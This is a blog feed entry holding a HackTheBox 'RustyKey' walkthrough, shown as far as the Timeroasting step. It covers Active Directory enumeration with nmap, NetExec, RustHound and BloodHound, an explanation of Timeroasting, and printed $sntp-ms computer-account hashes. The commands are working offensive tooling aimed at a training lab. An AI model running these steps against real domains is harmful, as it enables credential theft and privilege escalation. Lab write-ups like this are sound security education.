<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://pwnedcake.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://pwnedcake.github.io/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-02-13T06:47:40+00:00</updated><id>https://pwnedcake.github.io/feed.xml</id><title type="html">Wathsala Dewmina | PwnedCake</title><subtitle>Wathsala Dewmina (PwnedCake) - Offensive Security Researcher, Red Teamer, and Penetration Tester from Sri Lanka. Specializing in Active Directory exploitation, web application security, and CTF challenges. CPTS, CRTA, EJPT certified. Top 3 CTF player in Sri Lanka on HackTheBox and TryHackMe. Security blog featuring HackTheBox writeups, penetration testing tutorials, and offensive security research.</subtitle><author><name>Wathsala Dewmina</name></author><entry><title type="html">HackTheBox - RustyKey Writeup</title><link href="https://pwnedcake.github.io/posts/hackthebox-rustykey-writeup/" rel="alternate" type="text/html" title="HackTheBox - RustyKey Writeup" /><published>2025-11-11T03:52:00+00:00</published><updated>2025-11-11T12:13:23+00:00</updated><id>https://pwnedcake.github.io/posts/hackthebox-rustykey-writeup</id><content type="html" xml:base="https://pwnedcake.github.io/posts/hackthebox-rustykey-writeup/"><![CDATA[<h2 id="machine-information">Machine Information</h2>

<table>
  <thead>
    <tr>
      <th style="text-align: left">Attribute</th>
      <th style="text-align: left">Details</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left"><strong>Machine Name</strong></td>
      <td style="text-align: left">RustyKey</td>
    </tr>
    <tr>
      <td style="text-align: left"><strong>Difficulty</strong></td>
      <td style="text-align: left">Hard</td>
    </tr>
    <tr>
      <td style="text-align: left"><strong>OS</strong></td>
      <td style="text-align: left">Windows</td>
    </tr>
    <tr>
      <td style="text-align: left"><strong>IP Address</strong></td>
      <td style="text-align: left">10.10.11.75</td>
    </tr>
    <tr>
      <td style="text-align: left"><strong>Starting Credentials</strong></td>
      <td style="text-align: left">rr.parker / 8#t5HE8L!W3A</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="reconnaissance">Reconnaissance</h2>

<h3 id="scanning-all-the-ports-and-their-services-using-nmap">Scanning all the ports and their services using nmap</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>nmap <span class="nt">-sCV</span> <span class="nt">-T5</span> <span class="nt">--min-rate</span> 2000 <span class="nt">-v</span> <span class="nt">-oN</span> rustykey.nmap <span class="nt">-Pn</span> 10.10.11.75
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Results:</strong></p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
</pre></td><td class="rouge-code"><pre>Not shown: 985 closed tcp ports (reset)
PORT     STATE    SERVICE       REASON          VERSION
53/tcp   open     domain        syn-ack ttl 127 Simple DNS Plus
88/tcp   open     kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-11-11 01:35:46Z)
135/tcp  open     msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp  open     netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
366/tcp  filtered odmr          no-response
389/tcp  open     ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
445/tcp  open     microsoft-ds? syn-ack ttl 127
464/tcp  open     kpasswd5?     syn-ack ttl 127
593/tcp  open     ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp  open     tcpwrapped    syn-ack ttl 127
2200/tcp filtered ici           no-response
3268/tcp open     ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
3269/tcp open     tcpwrapped    syn-ack ttl 127
3801/tcp filtered ibm-mgr       no-response
5985/tcp open     http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 51928/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 40036/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 63867/udp): CLEAN (Timeout)
|   Check 4 (port 13351/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 7h37m43s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-11-11T01:35:58
|_  start_date: N/A
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Looks like the AD installed on this machine is most likely in default settings because it’s not showing all the SSL SMB information we normally see on other AD machines.</p>

<p>Using NetExec we confirm the <code class="language-plaintext highlighter-rouge">Domain</code> and the <code class="language-plaintext highlighter-rouge">Host</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>nxc smb 10.10.11.75  
SMB         10.10.11.75     445    dc               <span class="o">[</span><span class="k">*</span><span class="o">]</span>  x64 <span class="o">(</span>name:dc<span class="o">)</span> <span class="o">(</span>domain:rustykey.htb<span class="o">)</span> <span class="o">(</span>signing:True<span class="o">)</span> <span class="o">(</span>SMBv1:None<span class="o">)</span> <span class="o">(</span>NTLM:False<span class="o">)</span> 
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong><code class="language-plaintext highlighter-rouge">dc</code></strong> = hostname of the <strong>Domain Controller</strong></p>

<p><strong><code class="language-plaintext highlighter-rouge">rustykey.htb</code></strong> = the <strong>Active Directory domain</strong> name</p>

<p>We can add those hosts to our /etc/hosts (add the below to the hosts file so our machine can communicate with it):</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nb">echo</span> <span class="s2">"10.10.11.75     dc.rustykey.htb rustykey.htb dc"</span> | <span class="nb">sudo tee</span> <span class="nt">-a</span> /etc/hosts
</pre></td></tr></tbody></table></code></pre></div></div>

<p>In the machine information section we can see they have given us some credentials to start with:</p>

<p><code class="language-plaintext highlighter-rouge">rr.parker / 8#t5HE8L!W3A</code></p>

<h3 id="using-the-credentials-given-by-the-htb">Using the Credentials given by the HTB</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>nxc smb dc.rustykey.htb <span class="nt">-u</span> <span class="s1">'rr.parker'</span> <span class="nt">-p</span> <span class="s1">'8#t5HE8L!W3A'</span>
SMB         10.10.11.75     445    dc               <span class="o">[</span><span class="k">*</span><span class="o">]</span>  x64 <span class="o">(</span>name:dc<span class="o">)</span> <span class="o">(</span>domain:rustykey.htb<span class="o">)</span> <span class="o">(</span>signing:True<span class="o">)</span> <span class="o">(</span>SMBv1:None<span class="o">)</span> <span class="o">(</span>NTLM:False<span class="o">)</span>
SMB         10.10.11.75     445    dc               <span class="o">[</span>-] rustykey.htb<span class="se">\r</span>r.parker:8#t5HE8L!W3A STATUS_NOT_SUPPORTED 
</pre></td></tr></tbody></table></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">STATUS_NOT_SUPPORTED</code> coming from the KDC (when you try to authenticate against the DC) indicates <em>the KDC refused to process the authentication request using the mechanism the client tried to use.</em> Common causes in AD/SMB contexts:</p>

<ul>
  <li><strong>NTLM authentication is not allowed</strong> on the DC (your earlier scan showed <code class="language-plaintext highlighter-rouge">NTLM:False</code>). If your client tried to fall back to NTLM, the DC will reject it.</li>
</ul>

<p>Since NTLM is disabled, we’ll use kerberos authentication to continue.</p>

<p>Before that we have to get the .krb5 file. We can use the netexec built in feature to do that:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>nxc smb dc.rustykey.htb <span class="nt">-u</span> <span class="s1">'rr.parker'</span> <span class="nt">-p</span> <span class="s1">'8#t5HE8L!W3A'</span>  <span class="nt">--generate-krb5-file</span> rustykey.krb5
SMB         10.10.11.75     445    dc               <span class="o">[</span><span class="k">*</span><span class="o">]</span>  x64 <span class="o">(</span>name:dc<span class="o">)</span> <span class="o">(</span>domain:rustykey.htb<span class="o">)</span> <span class="o">(</span>signing:True<span class="o">)</span> <span class="o">(</span>SMBv1:None<span class="o">)</span> <span class="o">(</span>NTLM:False<span class="o">)</span>
SMB         10.10.11.75     445    dc               <span class="o">[</span>+] krb5 conf saved to: rustykey.krb5
SMB         10.10.11.75     445    dc               <span class="o">[</span>+] Run the following <span class="nb">command </span>to use the conf file: <span class="nb">export </span><span class="nv">KRB5_CONFIG</span><span class="o">=</span>rustykey.krb5
SMB         10.10.11.75     445    dc               <span class="o">[</span>-] rustykey.htb<span class="se">\r</span>r.parker:8#t5HE8L!W3A STATUS_NOT_SUPPORTED 
</pre></td></tr></tbody></table></code></pre></div></div>

<p>To enable proper Kerberos communication between our Linux host and the Active Directory domain, replace the system Kerberos configuration with the one we generated for RustyKey:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nb">sudo cp </span>rustykey.krb5 /etc/krb5.conf
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This installs the RustyKey Kerberos configuration at <code class="language-plaintext highlighter-rouge">/etc/krb5.conf</code>, allowing the system to use the AD KDC for authentication.</p>

<p>Now we can use kerberos authentication to see if the credentials are working we can do it by just adding <code class="language-plaintext highlighter-rouge">-k</code> to the netexec command:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>nxc smb dc.rustykey.htb <span class="nt">-u</span> <span class="s1">'rr.parker'</span> <span class="nt">-p</span> <span class="s1">'8#t5HE8L!W3A'</span> <span class="nt">-k</span>                                 
SMB         dc.rustykey.htb 445    dc               <span class="o">[</span><span class="k">*</span><span class="o">]</span>  x64 <span class="o">(</span>name:dc<span class="o">)</span> <span class="o">(</span>domain:rustykey.htb<span class="o">)</span> <span class="o">(</span>signing:True<span class="o">)</span> <span class="o">(</span>SMBv1:None<span class="o">)</span> <span class="o">(</span>NTLM:False<span class="o">)</span>
SMB         dc.rustykey.htb 445    dc               <span class="o">[</span>+] rustykey.htb<span class="se">\r</span>r.parker:8#t5HE8L!W3A 
</pre></td></tr></tbody></table></code></pre></div></div>

<p>It works.</p>

<p>If you encounter <code class="language-plaintext highlighter-rouge">KRB_AP_ERR_SKEW</code> (time skew) errors, sync your clock with the domain controller:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nb">sudo </span>ntpdate <span class="nt">-s</span> dc.rustykey.htb
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Kerberos requires closely matched system times, this error means your machine’s clock is out of sync with the AD KDC. Syncing the time against the domain controller resolves the mismatch and allows Kerberos authentication to proceed.</p>

<p>Now using these privileges we can do some enumeration on the users groups and walk the dog to get the AD juicy information (bloodhound).</p>

<h3 id="enumeration-users">Enumeration users</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="rouge-code"><pre>nxc smb dc.rustykey.htb <span class="nt">-u</span> <span class="s1">'rr.parker'</span> <span class="nt">-p</span> <span class="s1">'8#t5HE8L!W3A'</span> <span class="nt">-k</span> <span class="nt">--users</span>
SMB         dc.rustykey.htb 445    dc               <span class="o">[</span><span class="k">*</span><span class="o">]</span>  x64 <span class="o">(</span>name:dc<span class="o">)</span> <span class="o">(</span>domain:rustykey.htb<span class="o">)</span> <span class="o">(</span>signing:True<span class="o">)</span> <span class="o">(</span>SMBv1:None<span class="o">)</span> <span class="o">(</span>NTLM:False<span class="o">)</span>
SMB         dc.rustykey.htb 445    dc               <span class="o">[</span>+] rustykey.htb<span class="se">\r</span>r.parker:8#t5HE8L!W3A
SMB         dc.rustykey.htb 445    dc               <span class="nt">-Username-</span>                    <span class="nt">-Last</span> PW Set-       <span class="nt">-BadPW-</span> <span class="nt">-Description-</span>
SMB         dc.rustykey.htb 445    dc               Administrator                 2025-06-04 22:52:22 0       Built-in account <span class="k">for </span>administering the computer/domain
SMB         dc.rustykey.htb 445    dc               Guest                                      0       Built-in account <span class="k">for </span>guest access to the computer/domain
SMB         dc.rustykey.htb 445    dc               krbtgt                        2024-12-27 00:53:40 0       Key Distribution Center Service Account
SMB         dc.rustykey.htb 445    dc               rr.parker                     2025-06-04 22:54:15 0
SMB         dc.rustykey.htb 445    dc               mm.turner                     2024-12-27 10:18:39 0
SMB         dc.rustykey.htb 445    dc               bb.morgan                     2025-11-11 02:16:40 0
SMB         dc.rustykey.htb 445    dc               gg.anderson                   2025-11-11 02:16:40 0
SMB         dc.rustykey.htb 445    dc               dd.ali                        2025-11-11 02:16:40 0
SMB         dc.rustykey.htb 445    dc               ee.reed                       2025-11-11 02:16:40 0
SMB         dc.rustykey.htb 445    dc               nn.marcos                     2024-12-27 11:34:50 0
SMB         dc.rustykey.htb 445    dc               backupadmin                   2024-12-30 00:30:18 0
SMB         dc.rustykey.htb 445    dc               <span class="o">[</span><span class="k">*</span><span class="o">]</span> Enumerated 11 <span class="nb">local users</span>: RUSTYKEY
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Grepping only the usernames:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre><span class="nb">awk</span> <span class="s1">'{print $5}'</span> raw-users.list

Administrator
Guest
krbtgt
rr.parker
mm.turner
bb.morgan
gg.anderson
dd.ali
ee.reed
nn.marcos
backupadmin
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Now Let’s Walk The Dog (bloodhound).</p>

<p>I’ll be using rusthound because it’s much faster and less buggy than the nxc builtin version and the bloodhound-python.</p>

<p><strong>RustHound:</strong> <a href="https://github.com/NH-RED-TEAM/RustHound/">https://github.com/NH-RED-TEAM/RustHound/</a></p>

<p>You can install rusthound by referring to this github repository:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="rouge-code"><pre>rusthound <span class="nt">-d</span> rustykey.htb <span class="nt">-u</span> <span class="s1">'rr.parker'</span> <span class="nt">-p</span> <span class="s1">'8#t5HE8L!W3A'</span> <span class="nt">--zip</span>
<span class="nt">---------------------------------------------------</span>
Initializing RustHound at 08:07:43 on 11/11/25
Powered by g0h4n from OpenCyber
<span class="nt">---------------------------------------------------</span>

<span class="o">[</span>2025-11-11T02:37:43Z INFO  rusthound] Verbosity level: Info
<span class="o">[</span>2025-11-11T02:37:44Z INFO  rusthound::ldap] Connected to RUSTYKEY.HTB Active Directory!
<span class="o">[</span>2025-11-11T02:37:44Z INFO  rusthound::ldap] Starting data collection...
<span class="o">[</span>2025-11-11T02:37:49Z INFO  rusthound::ldap] All data collected <span class="k">for </span>NamingContext <span class="nv">DC</span><span class="o">=</span>rustykey,DC<span class="o">=</span>htb
<span class="o">[</span>2025-11-11T02:37:49Z INFO  rusthound::json::parser] Starting the LDAP objects parsing...
<span class="o">[</span>2025-11-11T02:37:49Z INFO  rusthound::json::parser] Parsing LDAP objects finished!
<span class="o">[</span>2025-11-11T02:37:49Z INFO  rusthound::json::checker] Starting checker to replace some values...
<span class="o">[</span>2025-11-11T02:37:49Z INFO  rusthound::json::checker] Checking and replacing some values finished!
<span class="o">[</span>2025-11-11T02:37:49Z INFO  rusthound::json::maker] 12 <span class="nb">users </span>parsed!
<span class="o">[</span>2025-11-11T02:37:49Z INFO  rusthound::json::maker] 66 <span class="nb">groups </span>parsed!
<span class="o">[</span>2025-11-11T02:37:49Z INFO  rusthound::json::maker] 16 computers parsed!
<span class="o">[</span>2025-11-11T02:37:49Z INFO  rusthound::json::maker] 10 ous parsed!
<span class="o">[</span>2025-11-11T02:37:49Z INFO  rusthound::json::maker] 2 gpos parsed!
<span class="o">[</span>2025-11-11T02:37:49Z INFO  rusthound::json::maker] 21 containers parsed!
<span class="o">[</span>2025-11-11T02:37:49Z INFO  rusthound::json::maker] .//20251111080749_rustykey-htb_rusthound.zip created!

RustHound Enumeration Completed at 08:07:49 on 11/11/25! Happy Graphing!
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Perfect now we have our collection zip:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre><span class="nb">ls</span> <span class="nt">-la</span>
drwxrwxr-x  2 pwnedcake pwnedcake   4096 Nov 11 08:07 <span class="nb">.</span>
drwxrwxr-x 41 pwnedcake pwnedcake   4096 Nov 10 23:07 ..
<span class="nt">-rw-rw-r--</span>  1 pwnedcake pwnedcake 212885 Nov 11 08:07 20251111080749_rustykey-htb_rusthound.zip
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We can now upload this collection to the bloodhound and get a greater view of how the AD is working and how we can escalate privileges using any of the misconfiguration we find.</p>

<h3 id="analyzing-the-data-from-the-bloodhound">Analyzing the data from the bloodhound</h3>

<p>There wasn’t any kind of DACL abuse from the surface; the <code class="language-plaintext highlighter-rouge">rr.parker</code> user doesn’t have any kind of outbound connection to other users/groups.</p>

<p><img src="/assets/img/htb-rustykey/rr-parker-info.png" alt="rr.parker BloodHound Info" />
<em>rr.parker user information in BloodHound showing no significant privileges</em></p>

<p>But after cruising for a while in BloodHound, I found something very interesting.</p>

<p>There is a Organization Unit (OU) that has 5 computers in there:</p>

<p><img src="/assets/img/htb-rustykey/computers-ou.png" alt="Computers in OU" />
<em>Five computers discovered in the IT Organizational Unit</em></p>

<p>Since it’s very inconvenient for us to search each computer one by one, I added a Cypher query to display all the outbound connections from each computer:</p>

<div class="language-cypher highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre><span class="k">MATCH</span><span class="w"> </span><span class="ss">(</span><span class="py">ou:</span><span class="n">OU</span> <span class="ss">{</span><span class="py">name:</span> <span class="s2">"COMPUTERS@RUSTYKEY.HTB"</span><span class="ss">})</span>
<span class="k">MATCH</span><span class="w"> </span><span class="ss">(</span><span class="n">ou</span><span class="ss">)</span><span class="o">-</span><span class="ss">[</span><span class="nc">:Contains</span><span class="o">*</span><span class="mf">1.</span><span class="n">.</span><span class="ss">]</span><span class="o">-&gt;</span><span class="ss">(</span><span class="py">c:</span><span class="n">Computer</span><span class="ss">)</span>
<span class="k">MATCH</span> <span class="n">p</span><span class="o">=</span><span class="ss">(</span><span class="n">c</span><span class="ss">)</span><span class="o">-</span><span class="ss">[</span><span class="n">r</span><span class="ss">]</span><span class="o">-&gt;</span><span class="ss">(</span><span class="n">target</span><span class="ss">)</span>
<span class="k">RETURN</span> <span class="n">p</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/htb-rustykey/cypher-output.png" alt="Cypher Query Output" />
<em>Custom Cypher query showing outbound relationships from computers in the OU</em></p>

<p>And from that output I saw something very interesting which is that the <strong>IT_COMPUTER3</strong> has <strong>AddSelf</strong> permissions to the <strong>HELPDESK</strong> Group.</p>

<p>If we can get hands on this IT-COMPUTER3 machine, we can impersonate it and add ourselves into the HELPDESK. If we can get HELPDESK, there is a clear attack path - we’ll have access to so many accounts:</p>

<p><img src="/assets/img/htb-rustykey/helpdesk-outbound.png" alt="HELPDESK Outbound Connections" />
<em>HELPDESK group showing powerful privileges over multiple users</em></p>

<p>We have:</p>

<ul>
  <li><strong>ForceChangePassword</strong> - which allows changing the password of that user without any credentials</li>
  <li><strong>AddMember</strong> on ProtectedObjects group</li>
  <li><strong>GenericWrite</strong> over DD.ALI user</li>
</ul>

<p>Those are some good findings for us to start working.</p>

<p>Now our main objective is to get our hands on that IT-COMPUTER3, to do that we need some kind of misconfiguration or some kind of vulnerability.</p>

<p>This is where we use <strong>Timeroasting</strong>.</p>

<hr />

<h2 id="privilege-escalation-to-it-computer3">Privilege Escalation to IT-COMPUTER3</h2>

<h3 id="timeroasting">Timeroasting</h3>

<p>Before that, if we see the IT-COMPUTER3 object information, we can see that the user who’s in charge of that account has changed the password after the account was created, so it’s possible that the password of that computer is very weak:</p>

<p><img src="/assets/img/htb-rustykey/it-computer3-info.png" alt="IT-COMPUTER3 Object Info" />
<em>IT-COMPUTER3 properties showing password was manually changed after creation</em></p>

<p>Now we can perform a timeroasting attack on this computer.</p>

<h3 id="what-is-timeroasting-the-real-definition">What is Timeroasting? (The Real Definition)</h3>

<p>Timeroasting exploits Microsoft’s proprietary NTP (Network Time Protocol) authentication extension to extract password hashes for <strong>computer accounts</strong> by requesting authenticated time synchronization responses from Domain Controllers. This can be done <strong>without any credentials</strong> and the extracted hashes crack <strong>10x faster</strong> than Kerberos TGS hashes.</p>

<ul>
  <li>Targets <strong>computer accounts</strong> (machines ending with <code class="language-plaintext highlighter-rouge">$</code>)</li>
  <li>Exploits <strong>NTP time synchronization protocol</strong></li>
  <li><strong>Unauthenticated attack</strong> (no credentials needed!)</li>
  <li><strong>Much faster to crack</strong> than traditional Kerberos hashes</li>
</ul>

<h3 id="background---why-this-vulnerability-exists">Background - Why This Vulnerability Exists:</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre>Problem: Traditional NTP has no authentication
└─ Attacker could do MitM and change client's system time
└─ Wrong time = Kerberos breaks (time-sensitive protocol)

Microsoft's Solution: Authenticated NTP Extension
└─ Client sends NTP request with its RID (Relative Identifier)
└─ DC responds with time + MAC (Message Authentication Code)
└─ MAC is generated using: MD4(Computer Account Password)

The Vulnerability:
└─ Client doesn't need to authenticate to make this request!
└─ Anyone can request time sync for ANY RID
└─ DC responds with password hash-based MAC
└─ Effectively leaking salted password hashes!
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="attack-flow">Attack Flow:</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
</pre></td><td class="rouge-code"><pre>Step 1: Send NTP Request to Domain Controller
└─ Include a RID (e.g., 1000, 1104, 1165, etc.)
└─ NO authentication required!

Step 2: DC Processes Request
└─ Looks up computer account with that RID
└─ Generates MAC using computer's password hash
└─ Sends back: Time + MAC (which includes hash material)

Step 3: Extract Hash
└─ Format: $sntp-ms$HASH$DATA...
└─ This is the salted password hash

Step 4: Crack Offline
└─ Use Hashcat mode 31300 (SNTP-MS)
└─ 10x faster than Kerberos TGS cracking!

Step 5: Profit
└─ Computer account password = Local admin on that machine
└─ Can authenticate as COMPUTERNAME$
└─ Lateral movement opportunity
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Now we can initialize this attack.</p>

<p>You can get the timeroast script from the github:</p>

<p><strong>Timeroast:</strong> <a href="https://github.com/SecuraBV/Timeroast">https://github.com/SecuraBV/Timeroast</a></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>git clone https://github.com/SecuraBV/Timeroast
<span class="nb">cd </span>Timeroast
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="rouge-code"><pre>python3 timeroast.py dc.rustykey.htb               
1000:<span class="nv">$sntp</span><span class="nt">-ms</span><span class="nv">$8b3bd52ac449208c900842197d9e66c1$1c0111e900000000000a026e4c4f434cecbd2cfcbae6984fe1b8428bffbfcd0aecbd3030feff1950ecbd3030feff35d5</span>
1103:<span class="nv">$sntp</span><span class="nt">-ms</span><span class="nv">$1cbc7150977c5feb27053410ebcc6b49$1c0111e900000000000a026e4c4f434cecbd2cfcbb71773be1b8428bffbfcd0aecbd30319b715c63ecbd30319b7184a7</span>
1105:<span class="nv">$sntp</span><span class="nt">-ms</span><span class="nv">$6f052026545652445db36317f88701f6$1c0111e900000000000a026e4c4f434cecbd2cfcbb86734ce1b8428bffbfcd0aecbd30319b865d7cecbd30319b867d5d</span>
1104:<span class="nv">$sntp</span><span class="nt">-ms</span><span class="nv">$59a6c4f9c2c8067655f192657a50513a$1c0111e900000000000a026e4c4f434cecbd2cfcbb72be63e1b8428bffbfcd0aecbd30319b72a030ecbd30319b72cf2a</span>
1106:<span class="nv">$sntp</span><span class="nt">-ms</span><span class="nv">$ff87416d292466868b5d1ab61ca49fc9$1c0111e900000000000a026e4c4f434cecbd2cfcbb8aed2ee1b8428bffbfcd0aecbd30319b8aaf1becbd30319b8afa9a</span>
1107:<span class="nv">$sntp</span><span class="nt">-ms</span><span class="nv">$b63445755f7064d2b1a192213c9e0f3a$1c0111e900000000000a026e4c4f434cecbd2cfcbb1fbe0be1b8428bffbfcd0aecbd30319f383f0becbd30319f385d3e</span>
1118:<span class="nv">$sntp</span><span class="nt">-ms</span><span class="nv">$338c364d456851f7342161fd0193d743$1c0111e900000000000a026e4c4f434cecbd2cfcb9205865e1b8428bffbfcd0aecbd3031b130a9ebecbd3031b130c81e</span>
1119:<span class="nv">$sntp</span><span class="nt">-ms</span><span class="nv">$8b1defecb8558aa7925950ac1ea4638c$1c0111e900000000000a026e4c4f434cecbd2cfcba2b1704e1b8428bffbfcd0aecbd3031b23b688becbd3031b23b81b6</span>
1120:<span class="nv">$sntp</span><span class="nt">-ms</span><span class="nv">$26a032d50cdc7f9bdaaa215f84daed30$1c0111e900000000000a026e4c4f434cecbd2cfcba2bef72e1b8428bffbfcd0aecbd3031b23c40f8ecbd3031b23c5d7e</span>
1121:<span class="nv">$sntp</span><span class="nt">-ms</span><span class="nv">$eb91e31cc63d848be2a35f1784c345fb$1c0111e900000000000a026e4c4f434cecbd2cfcb89c4bfbe1b8428bffbfcd0aecbd3031b4c532a4ecbd3031b4c54a21</span>
1122:<span class="nv">$sntp</span><span class="nt">-ms</span><span class="nv">$7e5e0da866c16c7b02c589cdfd72fed8$1c0111e900000000000a026e4c4f434cecbd2cfcb9d9dd56e1b8428bffbfcd0aecbd3031b602bef7ecbd3031b602ded7</span>
1123:<span class="nv">$sntp</span><span class="nt">-ms</span><span class="nv">$ac14c573ad957ad07ab2bc40c5d03d84$1c0111e900000000000a026e4c4f434cecbd2cfcb9dabe27e1b8428bffbfcd0aecbd3031b6039fc7ecbd3031b603bdfa</span>
1124:<span class="nv">$sntp</span><span class="nt">-ms</span><span class="nv">$3f78be175a7e56472c7e55eafe25b0c5$1c0111e900000000000a026e4c4f434cecbd2cfcbb1fbc5de1b8428bffbfcd0aecbd3031b7489aa3ecbd3031b748bf8c</span>
1125:<span class="nv">$sntp</span><span class="nt">-ms</span><span class="nv">$c175a486507a7d5bcaf34b07ca79a538$1c0111e900000000000a026e4c4f434cecbd2cfcb89cd3e0e1b8428bffbfcd0aecbd3031b89cc4c7ecbd3031b89cddf1</span>
1126:<span class="nv">$sntp</span><span class="nt">-ms</span><span class="nv">$00f87c4027c0ebec112d764c63c43e3b$1c0111e900000000000a026e4c4f434cecbd2cfcbb2f76e6e1b8428bffbfcd0aecbd3031bb2f661fecbd3031bb2f82a4</span>
1127:<span class="nv">$sntp</span><span class="nt">-ms</span><span class="nv">$32532db3912494cd375190f55435bec8$1c0111e900000000000a026e4c4f434cecbd2cfcb85b2c76e1b8428bffbfcd0aecbd3031bc73af24ecbd3031bc73cba9</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Now we have to select the correct hash, you can see that object ID can be seen in the beginning of every hash we can check from bloodhound for the objectid of the IT-COMPUTER-3 and it is <strong>1125</strong>.</p>

<p>We can save that hash and start cracking with hashcat.</p>

